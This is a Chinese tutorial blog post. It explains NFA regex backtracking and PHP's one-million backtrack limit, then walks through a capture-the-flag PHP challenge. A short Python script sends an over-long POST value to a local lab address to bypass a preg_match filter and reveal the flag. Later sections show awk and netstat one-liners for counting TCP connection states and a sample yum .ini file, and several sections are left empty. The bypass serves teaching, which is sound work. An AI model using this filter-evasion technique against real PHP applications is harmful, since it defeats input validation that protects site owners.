AWK案例

目录

一、正则回溯

1.什么是正则回溯

2.例题

二、awk经典案例

1.选取IPV4地址

2.统计TCP连接状态数量

(1)netstat

(2)相关命令

(3)实例

 3.读取.ini配置文件中的某段


一、正则回溯

1.什么是正则回溯

常见的正则引擎,被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)

DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
正则回溯是一种正则表达式NFA引擎使用的技术,用于尝试所有可能的匹配方式,直到找到匹配为止。在正则表达式的匹配过程中,如果当前部分无法匹配,引擎会回溯到前面的部分,尝试其他可能的匹配路径。这可能会导致性能下降,特别是在复杂的正则表达式和长字符串的情况下,所以PHP限制正则回溯次数为100w次,如果超过,正则将会失效。
 

2.例题

既然正则回溯限制为100w次,那我们不妨传入超过100w个字符的数据,让正则失效,这样我们就能成功绕过正则
 

<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting);
}
 
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
    if(!areyouok($greeting)){
        // strpos string postion
        if(strpos($greeting,'Merry Christmas') !== false){
            echo 'Merry Christmas. '.'flag{i_Lov3_NanHang_everyThing}';
        }else{
            echo 'Do you know .swp file?';
        }
    }else{
        echo 'Do you know PHP?';
    }
} else {
    echo 'fuck array!!!';
}

首先分析这道题,函数areyouok过滤了/Merry.*Christmas/,而要想拿到flag,就必须使内部的if条件成立,即greeting参数中必须含有Merry Christmas字符串(strpos函数查找字符串在目标中首次出现的位置),这就矛盾了,因为正则会过滤我们的Merry Christmas字符串。

那么这时候我们就可以使用正则回溯来绕过过滤,用Python构造post请求
 

from requests import post
 
data={"greeting" : "Merry Christmas" + "a" * 1000001}
 
url = 'http://192.168.1.3/test/regex2.php'
 
res = post(url=url,data=data)
 
print(res.text)

二、awk经典案例

1.选取IPV4地址

 

2.统计TCP连接状态数量

(1)netstat

$ netstat -tnap

 -t或--tcp:显示TCP传输协议的连线状况; 

 -n或--numeric:直接使用ip地址,而不通过域名服务器; 

-a或--all:显示所有连线中的Socket; 

-p或--programs:显示正在使用Socket的程序识别码和程序名称;

(2)相关命令

netstat -antp | awk '{arr[$6]++}END{for (i in arr){print arr[i], i}}'
netstat -antp | grep 'tcp' | awk '{print $6}' | sort | uniq -c

netstat -tna | awk '/^tcp/{arr[$6]++}END{for(state in arr){print arr[state] ": " state}}'
netstat -tna | /usr/bin/grep 'tcp' | awk '{print $6}' | sort | uniq -c

(3)实例

 3.读取.ini配置文件中的某段

[base]

name=os_repo

baseurl=https://xxx/centos/$releasever/os/$basearch

gpgcheck=0

enable=1

[mysql]

name=mysql_repo

baseurl=https://xxx/mysql-repo/yum/mysql-5.7-community/el/$releasever/$basearch

gpgcheck=0

enable=1

[epel]

name=epel_repo

baseurl=https://xxx/epel/$releasever/$basearch

gpgcheck=0

enable=1

[percona]

name=percona_repo

baseurl = https://xxx/percona/release/$releasever/RPMS/$basearch

enabled = 1

gpgcheck = 0

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值